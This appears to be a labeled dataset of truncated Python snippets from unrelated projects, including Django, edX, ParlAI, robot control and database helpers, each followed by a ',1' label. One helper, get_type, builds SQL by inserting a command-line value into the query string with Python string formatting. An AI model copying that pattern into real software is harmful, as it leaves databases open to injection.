DayEntry.objects.get(datebook=self.datebook, activity_date=self.daydate) except DayEntry.DoesNotExist: pass else: raise forms.ValidationError(_(""This day entry has allready been created"")) return cleaned_data ",1 "IFIERS = [ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Communications', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content :: Message Boards', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', ] setup( name='djangocms-carousel', version=__version__, description='Slider Plugin for django CMS', author='Andrew Mirsky', author_email='andrew@mirsky.net', url='https://git.mirsky.net/mirskyconsulting/djangocms-carousel', packages=['djangocms_carousel', 'djangocms_carousel.migrations'], install_requires=INSTALL_REQUIRES, license='LICENSE.txt', platforms=['OS Independent'], classifiers=CLASSIFIERS, long_description=open('README.md').read(), include_package_data=True, zip_safe=False ) ",1 " name='search'), url(r'^flagged_spam$', views.NodeFlaggedSpamList.as_view(), name='flagged-spam'), url(r'^known_spam$', views.NodeKnownSpamList.as_view(), name='known-spam'), url(r'^known_ham$', views.NodeKnownHamList.as_view(), name='known-ham'), url(r'^(?P[a-z0-9]+)/$', views.NodeView.as_view(), name='node'), url(r'^(?P[a-z0-9]+)/logs/$', views.AdminNodeLogView.as_view(), name='node-logs'), url(r'^registration_list/$', views.RegistrationListView.as_view(), name='registrations'), url(r'^stuck_registration_list/$', views.StuckRegistrationListView.as_view(), name='stuck-registrations'), url(r'^(?P[a-z0-9]+)/update_embargo/$', views.RegistrationUpdateEmbargoView.as_view(), name='update_embargo'), url(r'^(?P[a-z0-9]+)/remove/$', views.NodeDeleteView.as_view(), name='remove'), url(r'^(?P[a-z0-9]+)/restore/$', views.NodeDeleteView.as_view(), name='restore'), url(r'^(?P[a-z0-9]+)/confirm_spam/$', views.NodeConfirmSpamView.as_view(), name='confirm-spam'), url(r'^(?P[a-z0-9]+)/confirm_ham/$', views.NodeConfirmHamView.as_view(), name='confirm-ham'), url(r'^(?P[a-z0-9]+)/reindex_share_node/$', views.NodeReindexShare.as_view(), name='reindex-share-node'), url(r'^(?P[a-z0-9]+)/reindex_elastic_node/$', views.NodeReindexElastic.as_view(), name='reindex-elastic-node'), url(r'^(?P[a-z0-9]+)/restart_stuck_registrations/$', views.RestartStuckRegistrationsView.as_view(), name='restart-stuck-registrations'), url(r'^(?P[a-z0-9]+)/remove_stuck_registrations/$', views.RemoveStuckRegistrationsView.as_view(), name='remove-stuck-registrations'), url(r'^(?P[a-z0-9]+)/remove_user/(?P[a-z0-9]+)/$', views.NodeRemoveContributorView.as_view(), name='remove_user'), ] ",1 "RTIAL_HOURS = FULL_HOURS * 0.75 #75% HALF_HOURS = FULL_HOURS * 0.50 #50% SPARSE_HOURS = FULL_HOURS * 0.25 #25% class LocationScore: def __init__(self, evals=None): self.evals = evals self.courses = None self.location = None self.daily_weights = {""M"": {}, ""T"": {}, ""W"": {}, ""R"": {}, ""F"": {} ,""S"": {}} self.daily_totals = {""M"": {}, ""T"": {}, ""W"": {}, ""R"": {}, ""F"": {} ,""S"": {}} self.final_weighted = 0 self.weight_rank = 0 # 0 = worst, 1 = best if evals != None: self.courses = self.evals.get_records() self.location = self.find_location() self.final_weighted = self.calculate_final_weighted_score() def reset_daily_weights(self): for day in [""M"", ""T"", ""W"", ""R"", ""F"", ""S""]: self.daily_weights[day] = 0 self.daily_totals[day] = 0 def get_daily_weight(self,day_of_week): return self.daily_weights[day_of_week] def normalize_final_weighted_score(self,minimum,maximum): value = self.final_weighted value -= minimum if maximum - minimum > 0: value /= ( maximum - minimum ) else: value = 0 self.weight_rank = ""{0:.2f}"".format(value * 10) def calculate_final_weighted_score(self): score_sum = 0.00 score_total = 0.00 #reset daily stuff self.reset_daily_weights() for course, score in self.courses: days = course.rec[""DAYS_OF_WEEK""] #score_sum += score.get_weighted_score(course) score_total += 1.00 for day in [""M"", ""T"", ""W"", ""R"", ""F"", ""S""]: if day in days: self.daily_weights[day] += score.get_weighted_score(course) self.daily_totals[day] += 1 for day in [""M"", ""T"", ""W"", ""R"", ""F"", ""S""]: if self.daily_totals[day] > 0: self.daily_weights[day] /= self.daily_totals[day] self.daily_weights[day] = self.adjust_utilization(self.daily_weights[day],self.daily_totals[day]) score_sum += self.daily_weights[day] else: self.daily_weights[day] = 0 return score_sum / score_total def adjust_utilization(self,weights,totals): max_score = 1.00 if totals >= FULL_HOURS: # 8 Hours or more, give slight boost to score weights *= 1.15 # 15% Boost elif totals >= PARTIAL_HOURS: # Small Penalty weights *= (PARTIAL_HOURS/FULL_HOURS) elif totals >= HALF_HOURS: # Medium Penalty weights *= (HALF_HOURS/FULL_HOURS) elif totals > SPARSE_HOURS: # Large Penalty weights *= (SPARSE_HOURS/FULL_HOURS) else: # Very Large Penalty weights *= (1.00/FULL_HOURS) return weights def get_location(self): return self.location def find_location(self): for course, score in self.courses: location = str( course.rec[""BUILDING""] )+ "" "" + str( course.rec[""ROOM""] ) # just need to find the first one, so break after this happens break return location def get_final_weighted_score(self): return self.final_weighted def get_score_rank(self): return self.weight_rank def get_evals(self): return self.evals ",1 " file in the root directory of this source tree. """""" Verify data doesn't have basic mistakes, like empty text fields or empty label candidates. ## Examples ```shell parlai verify_data --task convai2 --datatype valid ``` """""" from parlai.agents.repeat_label.repeat_label import RepeatLabelAgent from parlai.core.message import Message from parlai.core.params import ParlaiParser from parlai.utils.misc import TimeLogger, warn_once from parlai.core.worlds import create_task from parlai.core.script import ParlaiScript, register_script import parlai.utils.logging as logging def setup_args(parser=None): if parser is None: parser = ParlaiParser(True, True, 'Check tasks for common errors') # Get command line arguments parser.add_argument('-ltim', '--log-every-n-secs', type=float, default=2) parser.add_argument('-d', '--display-examples', type='bool', default=False) parser.set_defaults(datatype='train:stream:ordered') return parser def report(world, counts, log_time): report = world.report() log = { 'missing_text': counts['missing_text'], 'missing_labels': counts['missing_labels'], 'missing_label_candidates': counts['missing_label_candidates'], 'empty_string_label_candidates': counts['empty_string_label_candidates'], 'label_candidates_with_missing_label': counts[ 'label_candidates_with_missing_label' ], 'did_not_return_message': counts['did_not_return_message'], } text, log = log_time.log(report['exs'], world.num_examples(), log) return text, log def warn(txt, act, opt): if opt.get('display_examples'): print(txt + "":\n"" + str(act)) else: warn_once(txt) def verify(opt): if opt['datatype'] == 'train': logging.warning(""changing datatype from train to train:ordered"") opt['datatype'] = 'train:ordered' opt.log() # create repeat label agent and assign it to the specified task agent = RepeatLabelAgent(opt) world = create_task(opt, agent) log_every_n_secs = opt.get('log_every_n_secs', -1) if log_every_n_secs <= 0: log_every_n_secs = float('inf') log_time = TimeLogger() counts = {} counts['missing_text'] = 0 counts['missing_labels'] = 0 counts['missing_label_candidates'] = 0 counts['empty_string_label_candidates'] = 0 counts['label_candidates_with_missing_label'] = 0 counts['did_not_return_message'] = 0 # Show some example dialogs. while not world.epoch_done(): world.parley() act = world.acts[0] if not isinstance(act, Message): counts['did_not_return_message'] += 1 if 'text' not in act and 'image' not in act: warn(""warning: missing text field:\n"", act, opt) counts['missing_text'] += 1 if 'labels' not in act and 'eval_labels' not in act: warn(""warning: missing labels/eval_labels field:\n"", act, opt) counts['missing_labels'] += 1 else: if 'label_candidates' not in act: counts['missing_label_candidates'] += 1 else: labels = act.get('labels', act.get('eval_labels')) is_label_cand = {} for l in labels: is_label_cand[l] = False for c in act['label_candidates']: if c == '': warn(""warning: empty string label_candidate:\n"", act, opt) counts['empty_string_label_candidates'] += 1 if c in is_label_cand: if is_label_cand[c] is True: warn( ""warning: label mentioned twice in candidate_labels:\n"", act, opt, ) is_label_cand[c] = True for _, has in is_label_cand.items(): if has is False: warn(""warning: label missing in candidate_labels:\n"", act, opt) counts['label_candidates_with_missing_label'] += 1 if log_time.time() > log_every_n_secs: text, log = report(world, counts, log_time) print(text) try: # print dataset size if available logging.info( f'Loaded {world.num_episodes()} episodes with a ' f'total of {world.num_examples()} examples' ) except AttributeError: pass counts['exs'] = int(world.report()['exs']) return counts def verify_data(opt): counts = verify(opt) print(counts) return counts @register_script('verify_data', hidden=True) class VerifyData(ParlaiScript): @classmethod def setup_args(cls): return setup_args() def run(self): return verify_data(self.opt) if __name__ == '__main__': VerifyData.main() ",1 "services, home_services home_api = Blueprint('/home_api', __name__) elements_services = elements_services.ElementsServices() home_services = home_services.HomeServices() @home_api.route('/profiles') def profiles(): """"""Gets all profiles for all elements for user application to display and manipulate elements"""""" return jsonify(home_services.get_profiles()) @home_api.route('/element', methods=['POST']) def update_element(): """"""Updates single element with all new values received from the user application"""""" received_element = request.get_json() home_services.update_element(received_element) return 'OK' @home_api.route('/elements', methods=['POST']) def update_elements(): """"""Updates all elements with all new values received from the user application"""""" received_elements = request.get_json() home_services.update_elements(received_elements) return 'OK' @home_api.route('/elementdelete', methods=['POST']) def delete_element(): """"""Deletes a single element with given hid"""""" element = request.get_json() home_services.delete_element(element['hid']) return 'OK' @home_api.route('/timerules', methods=['POST']) def timerules(): """"""Adds, Updates or deletes time rule for the given element"""""" rules = request.get_json() if len(rules) == 0: raise Exception(""No elements in the list"") for rule in rules: if 'id' not in rule: rule['id'] = None home_services.save_time_rules(rules) return 'OK' @home_api.route('/timerules/') def get_timerules(hid): """"""Gets list of timerules for given hid"""""" timerules= home_services.read_time_rules(hid) return jsonify(timerules) ",1 "ith red on pin 10, green on pin 9, and blue on pin 8. """""" from BreakfastSerial import RGBLed, Arduino from time import sleep board = Arduino() led = RGBLed(board, { ""red"": 10, ""green"": 9, ""blue"": 8 }) # Red (R: on, G: off, B: off) led.red() sleep(1) # Green (R: off, G: on, B: off) led.green() sleep(1) # Blue (R: off, G: off, B: on) led.blue() sleep(1) # Yellow (R: on, G: on, B: off) led.yellow() sleep(1) # Cyan (R: off, G: on, B: on) led.cyan() sleep(1) # Purple (R: on, G: off, B: on) led.purple() sleep(1) # White (R: on, G: on, B: on) led.white() sleep(1) # Off (R: off, G: off, B: off) led.off() # Run an interactive shell so you can play (not required) import code code.InteractiveConsole(locals=globals()).interact() ",1 "ango.http import Http404 from django.conf import settings from .module_render import get_module from xmodule.course_module import CourseDescriptor from xmodule.modulestore import Location, XML_MODULESTORE_TYPE from xmodule.modulestore.django import modulestore from xmodule.contentstore.content import StaticContent from xmodule.modulestore.exceptions import ItemNotFoundError, InvalidLocationError from courseware.model_data import FieldDataCache from static_replace import replace_static_urls from courseware.access import has_access import branding log = logging.getLogger(__name__) def get_request_for_thread(): """"""Walk up the stack, return the nearest first argument named ""request""."""""" frame = None try: for f in inspect.stack()[1:]: frame = f[0] code = frame.f_code if code.co_varnames[:1] == (""request"",): return frame.f_locals[""request""] elif code.co_varnames[:2] == (""self"", ""request"",): return frame.f_locals[""request""] finally: del frame def get_course(course_id, depth=0): """""" Given a course id, return the corresponding course descriptor. If course_id is not valid, raises a ValueError. This is appropriate for internal use. depth: The number of levels of children for the modulestore to cache. None means infinite depth. Default is to fetch no children. """""" try: course_loc = CourseDescriptor.id_to_location(course_id) return modulestore().get_instance(course_id, course_loc, depth=depth) except (KeyError, ItemNotFoundError): raise ValueError(""Course not found: {}"".format(course_id)) except InvalidLocationError: raise ValueError(""Invalid location: {}"".format(course_id)) def get_course_by_id(course_id, depth=0): """""" Given a course id, return the corresponding course descriptor. If course_id is not valid, raises a 404. depth: The number of levels of children for the modulestore to cache. None means infinite depth """""" try: course_loc = CourseDescriptor.id_to_location(course_id) return modulestore().get_instance(course_id, course_loc, depth=depth) except (KeyError, ItemNotFoundError): raise Http404(""Course not found."") except InvalidLocationError: raise Http404(""Invalid location"") def get_course_with_access(user, course_id, action, depth=0): """""" Given a course_id, look up the corresponding course descriptor, check that the user has the access to perform the specified action on the course, and return the descriptor. Raises a 404 if the course_id is invalid, or the user doesn't have access. depth: The number of levels of children for the modulestore to cache. None means infinite depth """""" course = get_course_by_id(course_id, depth=depth) if not has_access(user, course, action): # Deliberately return a non-specific error message to avoid # leaking info about access control settings raise Http404(""Course not found."") return course def get_opt_course_with_access(user, course_id, action): """""" Same as get_course_with_access, except that if course_id is None, return None without performing any access checks. """""" if course_id is None: return None return get_course_with_access(user, course_id, action) def course_image_url(course): """"""Try to look up the image url for the course. If it's not found, log an error and return the dead link"""""" if course.static_asset_path or modulestore().get_modulestore_type(course.location.course_id) == XML_MODULESTORE_TYPE: return '/static/' + (course.static_asset_path or getattr(course, 'data_dir', '')) + ""/images/course_image.jpg"" else: loc = course.location.replace(tag='c4x', category='asset', name=course.course_image) _path = StaticContent.get_url_path_from_location(loc) return _path def find_file(filesystem, dirs, filename): """""" Looks for a filename in a list of dirs on a filesystem, in the specified order. filesystem: an OSFS filesystem dirs: a list of path objects filename: a string Returns d / filename if found in dir d, else raises ResourceNotFoundError. """""" for directory in dirs: filepath = path(directory) / filename if filesystem.exists(filepath): return filepath raise ResourceNotFoundError(""Could not find {0}"".format(filename)) def get_course_about_section(course, section_key): """""" This returns the snippet of html to be rendered on the course about page, given the key for the section. Valid keys: - overview - title - university - number - short_description - description - key_dates (includes start, end, exams, etc) - video - course_staff_short - course_staff_extended - requirements - syllabus - textbook - faq - more_info - ocw_links """""" # Many of these are stored as html files instead of some semantic # markup. This can change without effecting this interface when we find a # good format for defining so many snippets of text/html. # TODO: Remove number, instructors from this list if section_key in ['short_description', 'description', 'key_dates', 'video', 'course_staff_short', 'course_staff_extended', 'requirements', 'syllabus', 'textbook', 'faq', 'more_info', 'number', 'instructors', 'overview', 'effort', 'end_date', 'prerequisites', 'ocw_links']: try: request = get_request_for_thread() loc = course.location.replace(category='about', name=section_key) # Use an empty cache field_data_cache = FieldDataCache([], course.id, request.user) about_module = get_module( request.user, request, loc, field_data_cache, course.id, not_found_ok=True, wrap_xmodule_display=False, static_asset_path=course.static_asset_path ) html = '' if about_module is not None: html = about_module.render('student_view').content return html except ItemNotFoundError: log.warning(""Missing about section {key} in course {url}"".format( key=section_key, url=course.location.url())) return None elif section_key == ""title"": return course.display_name_with_default elif section_key == ""university"": return course.display_org_with_default elif section_key == ""number"": return course.display_number_with_default raise KeyError(""Invalid about key "" + str(section_key)) def get_course_info_section(request, course, section_key): """""" This returns the snippet of html to be rendered on the course info page, given the key for the section. Valid keys: - handouts - guest_handouts - updates - guest_updates """""" loc = Location(course.location.tag, course.location.org, course.location.course, 'course_info', section_key) # Use an empty cache field_data_cache = FieldDataCache([], course.id, request.user) info_module = get_module( request.user, request, loc, field_data_cache, course.id, wrap_xmodule_display=False, static_asset_path=course.static_asset_path ) html = '' if info_module is not None: html = info_module.render('student_view').content return html # TODO: Fix this such that these are pulled in as extra course-specific tabs. # arjun will address this by the end of October if no one does so prior to # then. def get_course_syllabus_section(course, section_key): """""" This returns the snippet of html to be rendered on the syllabus page, given the key for the section. Valid keys: - syllabus - guest_syllabus """""" # Many of these are stored as html files instead of some semantic # markup. This can change without effecting this interface when we find a # good format for defining so many snippets of text/html. if section_key in ['syllabus', 'guest_syllabus']: try: filesys = course.system.resources_fs # first look for a run-specific version dirs = [path(""syllabus"") / course.url_name, path(""syllabus"")] filepath = find_file(filesys, dirs, section_key + "".html"") with filesys.open(filepath) as html_file: return replace_static_urls( html_file.read().decode('utf-8'), getattr(course, 'data_dir', None), course_id=course.location.course_id, static_asset_path=course.static_asset_path, ) except ResourceNotFoundError: log.exception(""Missing syllabus section {key} in course {url}"".format( key=section_key, url=course.location.url())) return ""! Syllabus missing !"" raise KeyError(""Invalid about key "" + str(section_key)) def get_courses_by_university(user, domain=None): ''' Returns dict of lists of courses available, keyed by course.org (ie university). Courses are sorted by course.number. ''' # TODO: Clean up how 'error' is done. # filter out any courses that errored. visible_courses = get_courses(user, domain) universities = defaultdict(list) for course in visible_courses: universities[course.org].append(course) return universities def get_courses(user, domain=None): ''' Returns a list of courses available, sorted by course.number ''' courses = branding.get_visible_courses(domain) courses = [c for c in courses if has_access(user, c, 'see_exists')] courses = sorted(courses, key=lambda course: course.number) return courses def sort_by_announcement(courses): """""" Sorts a list of courses by their announcement date. If the date is not available, sort them by their start date. """""" # Sort courses by how far are they from they start day key = lambda course: course.sorting_score courses = sorted(courses, key=key) return courses def get_cms_course_link_by_id(course_id): """""" Returns a proto-relative link to course_index for editing the course in cms, assuming that the course is actually cms-backed. If course_id is improperly formatted, just return the root of the cms """""" format_str = r'^(?P[^/]+)/(?P[^/]+)/(?P[^/]+)$' host = ""//{}/"".format(settings.CMS_BASE) # protocol-relative m_obj = re.match(format_str, course_id) if m_obj: return ""{host}{org}/{course}/course/{name}"".format(host=host, org=m_obj.group('org'), course=m_obj.group('course'), name=m_obj.group('name')) return host ",1 " from student.tests.factories import UserFactory from xmodule.modulestore import ModuleStoreEnum from xmodule.modulestore.tests.django_utils import SharedModuleStoreTestCase from xmodule.modulestore.tests.factories import SampleCourseFactory from ..api import get_blocks class TestGetBlocks(EnableTransformerRegistryMixin, SharedModuleStoreTestCase): """""" Tests for the get_blocks function """""" @classmethod def setUpClass(cls): super(TestGetBlocks, cls).setUpClass() cls.course = SampleCourseFactory.create() # hide the html block cls.html_block = cls.store.get_item(cls.course.id.make_usage_key('html', 'html_x1a_1')) cls.html_block.visible_to_staff_only = True cls.store.update_item(cls.html_block, ModuleStoreEnum.UserID.test) def setUp(self): super(TestGetBlocks, self).setUp() self.user = UserFactory.create() self.request = RequestFactory().get(""/dummy"") self.request.user = self.user def test_basic(self): blocks = get_blocks(self.request, self.course.location, self.user) self.assertEquals(blocks['root'], unicode(self.course.location)) # subtract for (1) the orphaned course About block and (2) the hidden Html block self.assertEquals(len(blocks['blocks']), len(self.store.get_items(self.course.id)) - 2) self.assertNotIn(unicode(self.html_block.location), blocks['blocks']) def test_no_user(self): blocks = get_blocks(self.request, self.course.location) self.assertIn(unicode(self.html_block.location), blocks['blocks']) def test_access_before_api_transformer_order(self): """""" Tests the order of transformers: access checks are made before the api transformer is applied. """""" blocks = get_blocks(self.request, self.course.location, self.user, nav_depth=5, requested_fields=['nav_depth']) vertical_block = self.store.get_item(self.course.id.make_usage_key('vertical', 'vertical_x1a')) problem_block = self.store.get_item(self.course.id.make_usage_key('problem', 'problem_x1a_1')) vertical_descendants = blocks['blocks'][unicode(vertical_block.location)]['descendants'] self.assertIn(unicode(problem_block.location), vertical_descendants) self.assertNotIn(unicode(self.html_block.location), vertical_descendants) ",1 "han # # # # # # This file is part of pyJD (Python/Yarp Tools for the JD robot). # # # # pyJD is free software: you can redistribute it and/or modify it under the terms of the # # GNU Affero General Public License as published by the Free Software Foundation, either # # version 3 of the License, or (at your option) any later version. # # # # pyJD is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; # # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # See the GNU Affero General Public License for more details. # # # # You should have received a copy of the GNU Affero General Public License # # along with pyJD. If not, see . # #################################################################################################### import argparse import socket import time import yarp EMSG_YARP_NOT_FOUND = ""Could not connect to the yarp server. Try running 'yarp detect'."" EMSG_ROBOT_NOT_FOUND = 'Could not connect to the robot at %s:%s' class EZModule(yarp.RFModule): """""" The EZBModule class provides a base class for developing modules for the JD robot. """""" # Default IP Address and Port for the JD Humanoid Robot. TCP_IP = '192.168.1.1' TCP_PORT = 23 # Existing motor ID's are D0-D9, D12-D14 and D16-D18 there are more limits LIMITS = [ (30, 180), (70, 170), (0, 170), (0, 170), (0, 60), (0, 180), (0, 90), (0, 60), (0, 180), (0, 180), (0, 180), (0, 160), (0, 180), (0, 130), (0, 180), (0, 160), (0, 180), (50, 130), (0, 180), (0, 180), (0, 180) ] def __init__(self, ip, port, prefix): yarp.RFModule.__init__(self) self.ip = ip self.port = int(port) self.prefix = prefix # self.last_pos = [-1] * len(EZModule.LIMITS) def configure(self, rf): name = self.__class__.__name__ if self.prefix: name = self.prefix + '/' + name self.setName(name) # RPC Port self.rpc_port = yarp.RpcServer() # name settings port_name = '/%s/%s' % (name, 'rpc') if not self.rpc_port.open(port_name): raise RuntimeError, EMSG_YARP_NOT_FOUND self.attach_rpc_server(self.rpc_port) return True def interruptModule(self): self.rpc_port.interrupt() for x in dir(self): if x.endswith('Port') and 'interrupt' in dir(getattr(self, x)): getattr(self, x).interrupt() return True def close(self): self.rpc_port.close() for x in dir(self): if x.endswith('Port') and 'close' in dir(getattr(self, x)): getattr(self, x).close() return True def getPeriod(self): return 0.1 def updateModule(self): # XXX: I do not know why we need that, but if method is empty the module gets stuck time.sleep(0.000001) return True def createInputPort(self, name, mode = 'unbuffered'): """""" This method returns an input port. @param obj - the object that the port is created for @param name - if a name is provided it gets appended to the modules name @param buffered - if buffered is True a buffered port will be used otherwise not; default is True. @result port """""" return self.__createPort(name + ':i', None, mode) def __createPort(self, name, target = None, mode = 'unbuffered'): """""" This method returns a port object. @param name - yarp name for the port @param obj - object for which the port is created @param buffered - if buffered is True a buffered port will be used otherwise not; default is True. @result port """""" # create port if mode == 'buffered': port = yarp.BufferedPortBottle() elif mode == 'rpcclient': port = yarp.RpcClient() elif mode == 'rpcserver': port = yarp.RpcServer() else: port = yarp.Port() # build port name port_name = [''] # prefix handling if hasattr(self, 'prefix') and self.prefix: port_name.append(self.prefix) port_name.append(self.__class__.__name__) port_name.append(name) # open port if not port.open('/'.join(port_name)): raise RuntimeError, EMSG_YARP_NOT_FOUND # add output if given if target: port.addOutput(target) if hasattr(self, '_ports'): self._ports.append(port) return port def createOutputPort(self, name, target = None, mode = 'unbuffered'): """""" This method returns an output port. @param obj - the object that the port is created for @param name - if a name is provided it gets appended to the modules name @param buffered - if buffered is True a buffered port will be used otherwise not; default is True. @result port """""" return self.__createPort(name + ':o', target, mode) #################################################################################################### # # Default methods for running the modules standalone # #################################################################################################### def createArgParser(): """""" This method creates a base argument parser. @return Argument Parser object """""" parser = argparse.ArgumentParser(description='Create a JDModule to control the JD robot.') parser.add_argument( '-i', '--ip', dest = 'ip', default = str(EZModule.TCP_IP), help = 'IP address for the JD robot.') parser.add_argument( '-p', '--port', dest = 'port', default = str(EZModule.TCP_PORT), help = 'Port for the JD robot') parser.add_argument( '-n', '--name', dest = 'name', default = '', help = 'Name prefix for Yarp port names') return parser.parse_args() def main(module_cls): """""" This is a main method to run a module from command line. @param module_cls - an EZModule based class that can be started as a standalone module. """""" args = createArgParser() yarp.Network.init() resource_finder = yarp.ResourceFinder() resource_finder.setVerbose(True) # resource_finder.configure(argc,argv); module = module_cls(args.ip, args.port, args.name) module.runModule(resource_finder) yarp.Network.fini() ",1 "ngenieria ADHOC # No email # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . # ############################################################################## import re from openerp import netsvc from openerp.osv import osv, fields class database_type(osv.osv): """""""""""" _name = 'infrastructure.database_type' _description = 'database_type' _columns = { 'name': fields.char(string='Name', required=True), 'prefix': fields.char(string='Prefix', required=True, size=4), 'url_prefix': fields.char(string='URL Prefix'), 'automatic_drop': fields.boolean(string='Automatic Drop'), 'automatic_drop_days': fields.integer(string='Automatic Drop Days'), 'protect_db': fields.boolean(string='Protect DBs?'), 'color': fields.integer(string='Color'), 'automatic_deactivation': fields.boolean(string='Atumatic Deactivation?'), 'auto_deactivation_days': fields.integer(string='Automatic Drop Days'), 'url_example': fields.char(string='URL Example'), 'bd_name_example': fields.char(string='BD Name Example'), 'db_back_up_policy_ids': fields.many2many('infrastructure.db_back_up_policy', 'infrastructure_database_type_ids_db_back_up_policy_ids_rel', 'database_type_id', 'db_back_up_policy_id', string='Suggested Backup Policies'), } _defaults = { } _constraints = [ ] database_type() # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: ",1 "tribute it and/or modify it # under the terms of the GNU Lesser General Public License as published by the # Free Software Foundation; either version 2.1 of the License, or (at your # option) any later version. # This library is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License # for more details. # You should have received a copy of the GNU Lesser General Public License # along with this library; if not, write to the Free Software Foundation, # Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # pylint: disable=anomalous-backslash-in-string """""" pyudev.pyqt4 ============ PyQt4 integration. :class:`MonitorObserver` integrates device monitoring into the PyQt4\_ mainloop by turning device events into Qt signals. :mod:`PyQt4.QtCore` from PyQt4\_ must be available when importing this module. .. _PyQt4: http://riverbankcomputing.co.uk/software/pyqt/intro .. moduleauthor:: Sebastian Wiesner """""" from __future__ import (print_function, division, unicode_literals, absolute_import) from PyQt4.QtCore import QSocketNotifier, QObject, pyqtSignal from pyudev._util import text_type from pyudev.core import Device from pyudev._qt_base import QUDevMonitorObserverMixin, MonitorObserverMixin class MonitorObserver(QObject, MonitorObserverMixin): """"""An observer for device events integrating into the :mod:`PyQt4` mainloop. This class inherits :class:`~PyQt4.QtCore.QObject` to turn device events into Qt signals: >>> from pyudev import Context, Monitor >>> from pyudev.pyqt4 import MonitorObserver >>> context = Context() >>> monitor = Monitor.from_netlink(context) >>> monitor.filter_by(subsystem='input') >>> observer = MonitorObserver(monitor) >>> def device_event(device): ... print('event {0} on device {1}'.format(device.action, device)) >>> observer.deviceEvent.connect(device_event) >>> monitor.start() This class is a child of :class:`~PyQt4.QtCore.QObject`. """""" #: emitted upon arbitrary device events deviceEvent = pyqtSignal(Device) def __init__(self, monitor, parent=None): """""" Observe the given ``monitor`` (a :class:`~pyudev.Monitor`): ``parent`` is the parent :class:`~PyQt4.QtCore.QObject` of this object. It is passed unchanged to the inherited constructor of :class:`~PyQt4.QtCore.QObject`. """""" QObject.__init__(self, parent) self._setup_notifier(monitor, QSocketNotifier) class QUDevMonitorObserver(QObject, QUDevMonitorObserverMixin): """"""An observer for device events integrating into the :mod:`PyQt4` mainloop. .. deprecated:: 0.17 Will be removed in 1.0. Use :class:`MonitorObserver` instead. """""" #: emitted upon arbitrary device events deviceEvent = pyqtSignal(text_type, Device) #: emitted, if a device was added deviceAdded = pyqtSignal(Device) #: emitted, if a device was removed deviceRemoved = pyqtSignal(Device) #: emitted, if a device was changed deviceChanged = pyqtSignal(Device) #: emitted, if a device was moved deviceMoved = pyqtSignal(Device) def __init__(self, monitor, parent=None): """""" Observe the given ``monitor`` (a :class:`~pyudev.Monitor`): ``parent`` is the parent :class:`~PyQt4.QtCore.QObject` of this object. It is passed unchanged to the inherited constructor of :class:`~PyQt4.QtCore.QObject`. """""" QObject.__init__(self, parent) self._setup_notifier(monitor, QSocketNotifier) ",1 "in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # # Neither the name of the CENATIC nor the names of its contributors # may be used to endorse or promote products derived from this # software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # ""AS IS"" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, # BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN # ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # # You may contact the copyright holder at: Fundacion CENATIC, Edificio # de Servicios Sociales: C/ Vistahermosa, 1, 3ra planta, 06200 # Almendralejo (Badajoz), Spain from DBSlayer import Query def get_type_name (type_id): l = get_type (type_id) if not l: return None return l['name'] def get_type (type_id): q = ""SELECT id, type ""\ ""FROM asset_types WHERE id=%(type_id)s;"" % locals() query = Query(q) if len(query) != 1: return None ret = {'id': type_id, 'name': query['type'][0]} return ret def get_types (): q = ""SELECT id, type ""\ ""FROM asset_types;"" % locals() query = Query(q) if not len(query): return None ret = [] for x in query: d={'id': query[x]['id'], 'name': query[x]['type']} ret.append(d) return ret def test (): import sys try: type_id = sys.argv[1] except IndexError: print 'Required test parameters: type_id' sys.exit(1) print 'Types:', get_types() print 'type_id %s, type_name %s' % (type_id, get_type_name(type_id)) print get_type(type_id), if __name__ == '__main__': test() ",1 "file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # coding: utf-8 import sys import os import ctypes from .libpath import find_lib_path class XLearnError(Exception): """"""Error thrown by xlearn trainer"""""" pass def _load_lib(): """"""Load xlearn shared library"""""" lib_path = find_lib_path() if len(lib_path) == 0: return None lib = 